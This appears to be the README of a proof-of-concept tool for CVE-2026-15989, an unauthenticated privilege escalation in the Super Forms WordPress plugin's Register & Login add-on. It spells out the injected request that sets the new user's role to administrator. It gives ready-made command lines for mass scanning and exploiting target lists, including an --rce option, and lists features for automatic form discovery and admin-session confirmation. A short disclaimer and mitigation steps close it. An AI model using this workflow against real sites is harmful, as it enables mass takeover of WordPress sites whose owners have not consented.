CVE-2026-15989 — Super Forms ≤ 6.3.316 — Unauthenticated Privilege Escalation PoC

Super Forms – Drag & Drop Form Builder (WordPress) ≤ 6.3.316 — unauthenticated privilege escalation via the role parameter of the premium Register & Login add-on.

📋 Vulnerability Overview

🔍 Technical Description

The add-on sets the new user's role from the form settings ($userdata['role'] = $settings['register_user_role']), then loops over $other_userdata — which contains 'role' — and overwrites any key with the client-supplied value ($data['role']['value']) before calling wp_insert_user().

POST /wp-admin/admin-ajax.php  (unauthenticated)
        │
        ▼
action=super_submit_form + data={"role":{"value":"administrator"}, ...}
        │
        ▼
$other_userdata loop ─► $userdata['role'] = $data['role']['value']
        │
        ▼
wp_insert_user() ─► administrator account created
        │
        ▼
register_login_activation='login'/'auto' ─► wp_set_auth_cookie ─► admin session

Fix (6.3.317): 'role' removed from the whitelist + get_safe_public_registration_role() (fail-closed).

Original research — dual submit protocol: the core changed protocols at v5.0.0.

The tool picks the protocol automatically from the detected version.

🚀 Usage

# mass scan + exploit
python CVE-2026-15989.py --list targets.txt --threads 10 --force --only-hits --results hits.txt --user Floydroot --password 'Floyd@2026!root'
python CVE-2026-15989.py --list targets.txt --threads 15 --timeout 6 --force --quiet --results hits.txt --user U --password P --no-dedup

# single target
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --email EMAIL --insecure
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --login --rce --insecure

# re-check an existing account without re-registering
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --only-login --insecure

📊 Output

│  ├─ plugin   : 6.3.316 — VULNERABLE <= 6.3.316
│  ├─ addon    : v1.8.7
│  ├─ form     : 4169 (/register/)
│  ├─ proto    : 5.x/6.x (super_submit_form, JSON, sf_nonce)
│  ├─ payload  : HTTP 200 ✓ processed
│  └─ session  : cookie ✓ · admin confirmed — Floydroot/Floyd@2026!root
└─── ✔ ADMIN CONFIRMED

• hits.txt — confirmed targets only (ts|url|status|detail, with user/password)
• bar with ETA + per-status counters; every phase prints the real reason on failure (WAF, crash, login-only form, wrong protocol...)

⚙️ Features

• Dual protocol (4.x nested-data / 5+ JSON+nonce) — auto-selected by version
• Version detection: readme.txt Stable tag + common.js?ver=; add-on probe + its own version
• Registration form discovery: common paths + sitemap.xml/wp-sitemap.xml/sitemap_index + home links
• Auto-fill of required fields (hidden/conditional included)
• "already exists" → direct login proof of the existing account
• Crash control: re-sends the form without the injected role to tell server-side issues from injection-triggered crashes
• Authoritative admin proof via /wp-json/wp/v2/users/me?context=edit (fallback: users.php / dashboard)

📁 File Structure

├── CVE-2026-15989.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ Disclaimer

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ Mitigation

1. Update Super Forms to 6.3.317 (or later) and rotate any leaked credentials
2. Keep the Register & Login add-on updated (it has its own version cycle)
3. Remove/disable published registration forms when they are not needed
4. Audit wp-admin/ users for unexpected administrator accounts